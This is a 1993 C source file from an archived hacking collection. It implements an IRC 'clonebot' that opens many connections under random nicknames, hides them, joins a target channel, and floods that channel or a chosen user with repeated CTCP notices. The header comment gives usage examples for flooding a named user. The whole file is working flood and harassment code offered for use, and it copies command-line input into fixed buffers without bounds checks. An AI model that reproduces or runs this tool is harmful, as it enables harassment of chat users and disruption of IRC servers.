home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / BOTKILL.sit / BOTKILL / BOTKILL / Source / cloneutc.c < prev    next >
C/C++ Source or Header  |  1993-07-17  |  6KB  |  214 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/time.h>
  6. #include <signal.h>
  7. #include <time.h>
  8.  
  9. #include "config.h"
  10. #include "socket.h"
  11.  
  12. /* 
  13.    PROGRAM clonebot name bot_num die_word talkon user
  14.  
  15.    Name is the name of the channel or the person the bot will flood.
  16.       The bot always joins the channel #name.  The length of name must
  17.       be < CHANLEN.
  18.    Bot_num is the number of socket connections you want the bot to make.
  19.    Die_word is a word that will make the bots signoff.  The length of 
  20.       dieword must be < 100.
  21.    Talkon is either 1 or 0.  If Talkon is 1, the bot will spew out random
  22.       garbage.
  23.    User is either 1 or 0.  If user is 1, the bot will flood the user.  If
  24.       user is 0, the bot will flood the channel.
  25.  
  26.    Examples:
  27.       1) let's say you want to make 20 bots join #bottest, without flooding
  28.          the channel.  then the command line you would need to type is:
  29.  
  30.      clonebot bottest 20 dienow 0 0
  31.  
  32.      These bots will die if someone types dienow on public in the channel
  33.      #bottest.
  34.  
  35.       2) let's say you want to flood the user LameUser.
  36.          then the command line you would need to type is:
  37.      
  38.      clonebot LameUser 20 dienow 1 1
  39.  
  40.      These bots will also join channel #LameUser.  you can kill them
  41.      by joining #LameUser and typing dienow on public.
  42. */
  43.  
  44. main ( argc, argv )
  45.      int argc;
  46.      char *argv[];
  47.  
  48. {
  49.   fd_set usedfds, readfds, writefds, nullfds;
  50.   int highfd;
  51.  
  52.   struct list_rec servers;
  53.   struct botrec the_bot[MAXBOTS];
  54.  
  55.   char nick[NICKLEN];
  56.   char id[IDLEN];
  57.   char ircname[IRCNAMELEN];
  58.   
  59.   char line[1000];
  60.  
  61.   char *rnd_char1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  62.   char *rnd_char2 = "^{_}|`[]\\";
  63.  
  64.   struct timeval tp;
  65.   struct timeval tzp;
  66.  
  67.   char name[CHANLEN];
  68.   int bot_num;
  69.   char die_word[100];
  70.   int talkon;
  71.   int user;
  72.  
  73.   char rnd_msg[100];
  74.   int i, j;
  75.   time_t time2;
  76.   struct timeval zero_time;
  77.  
  78.   signal( SIGPIPE, SIG_IGN );
  79.  
  80.   /* Record the command line arguments */
  81.   strcpy( name, argv[1] );
  82.   bot_num = atoi( argv[2] );
  83.   strcpy( die_word, argv[3] );
  84.   talkon = atoi( argv[4] );
  85.   user = atoi( argv[5] );
  86.   printf( "Finished recording the command line arguments.\n" );
  87.  
  88.   /* Initialize the fds */
  89.   FD_ZERO( &usedfds );
  90.   FD_ZERO( &readfds );
  91.   FD_ZERO( &nullfds );
  92.   printf( "Finished clearing all the fd sets.\n" );
  93.  
  94.   /* Read the list of servers to which the bots can connect */
  95.   init_list( &servers );
  96.   read_file( &servers, SERV_F_NAME );
  97.   printf( "Finished initializing the fds and the server list.\n" );
  98.  
  99.   /* Create the bots */
  100.   srand( time( NULL ) );
  101.   for ( i = 0; ( i < MAXBOTS ) && ( i < bot_num ); i++ )
  102.     {
  103.       /* Create the nick of the new bot */
  104.       for ( j = 0; j < ( NICKLEN - 1 ); j++ )
  105.     nick[j] = rnd_char1[rand( ) % strlen( rnd_char1 )];
  106.       nick[j] = '\0';
  107.  
  108.       /* Create the userid of the new bot */
  109.       for ( j = 0; j < ( IDLEN - 1 ); j++ )
  110.     id[j] = rnd_char1[rand( ) % strlen( rnd_char1 )];
  111.       id[j] = '\0';
  112.  
  113.       /* Create the irc name of the new bot */
  114.       for ( j = 0; j < ( IRCNAMELEN - 1 ); j++ )
  115.     ircname[j] = rnd_char1[rand( ) % strlen( rnd_char1 )];
  116.       ircname[j] = '\0';
  117.  
  118.       new_bot( the_bot, nick, id, ircname, TRUE, &servers, &usedfds, &highfd );
  119.     }
  120.   printf( "Finished creating the bots.\n" );
  121.  
  122.  
  123.   /* Make the bots become invisible and join the channel */
  124.   for ( i = 0; ( i < MAXBOTS ) && ( i < bot_num ); i++ )
  125.     {
  126.       sprintf( line, "mode %s +i\n", the_bot[i].nick );
  127.       writeln( the_bot[i].sockfd, line, strlen( line ) );
  128.  
  129.       sprintf( line, "join #%s\n", name );
  130.       writeln( the_bot[i].sockfd, line, strlen( line ) );
  131.  
  132.       the_bot[i].last_time = time( NULL );
  133.     }
  134.  
  135.   /* Main loop */
  136.  
  137.   while ( 1 )
  138.     {
  139.       /* Compile the random msg that may be sent to the user of the channel. */
  140.       if ( user )
  141.     sprintf( rnd_msg, "notice %s \001UTC\001\n", name );
  142.       else
  143.     sprintf( rnd_msg, "notice #%s \001UTC\001\n", name );
  144.       /* check for input */
  145.       FD_ZERO( &nullfds );
  146.       FD_ZERO( &readfds );
  147.       FD_ZERO( &writefds );
  148.       memcpy( &readfds, &usedfds, sizeof( usedfds ) );
  149.       memcpy( &writefds, &usedfds, sizeof( usedfds ) );
  150.       zero_time.tv_sec = 0;
  151.       zero_time.tv_usec = 0;
  152.       select( highfd + 1, &readfds, &writefds, &nullfds, &zero_time );
  153.  
  154.       /* write random stuff */
  155.       for ( i = 0; ( i < MAXBOTS ) && ( i < bot_num ); i++ )
  156.     if ( the_bot[i].alive && talkon )
  157.       {
  158.         if ( FD_ISSET( the_bot[i].sockfd, &writefds ) )
  159.           {
  160.         gettimeofday( &tp, &tzp );
  161.         if ( tp.tv_sec > the_bot[i].last_time )
  162.           {
  163.             writeln( the_bot[i].sockfd, rnd_msg, strlen( rnd_msg ) );
  164.             the_bot[i].last_time = tp.tv_sec;
  165.           }
  166.           }
  167.       }
  168.  
  169.       /* respond to what the bot reads */
  170.       for ( i = 0; ( i < MAXBOTS ) && ( i < bot_num ); i++ )
  171.     if ( the_bot[i].alive && ( FD_ISSET( the_bot[i].sockfd, &readfds ) ) )
  172.       {
  173.         
  174.         /* The bot had no problems reading from the server */
  175.         if ( readln( the_bot[i].sockfd, line, 1000 ) > 0 )
  176.           {
  177.  
  178.         /* the bot was pinged by a server */
  179.         if ( ( line[0] == 'P' ) && ( line[1] == 'I' ) )
  180.           {
  181.             line[1] = 'O';
  182.             writeln( the_bot[i].sockfd, line, strlen( line ) );
  183.           }
  184.  
  185.         /* the bot is commanded to die */
  186.         if ( strstr( line, die_word ) != NULL )
  187.           {
  188.             printf( "Commanded to die\n." );
  189.             exit ( 1 );
  190.           }
  191.           }
  192.         /* The bot had problems reading from the server */
  193.         else
  194.           { 
  195.         kill_bot( i, the_bot, &usedfds );
  196.         new_bot( the_bot, the_bot[i].nick, the_bot[i].userid, 
  197.             the_bot[i].ircname, the_bot[i].leader, 
  198.              &servers, &usedfds, &highfd );
  199.         sprintf( line, "mode %s +i\n", the_bot[i].nick );
  200.         writeln( the_bot[i].sockfd, line, strlen( line ) );
  201.         
  202.         sprintf( line, "join #%s\n", name );
  203.         writeln( the_bot[i].sockfd, line, strlen( line ) );
  204.  
  205.           }
  206.       }
  207.     }
  208. }
  209.       
  210.  
  211.  
  212.  
  213.  
  214.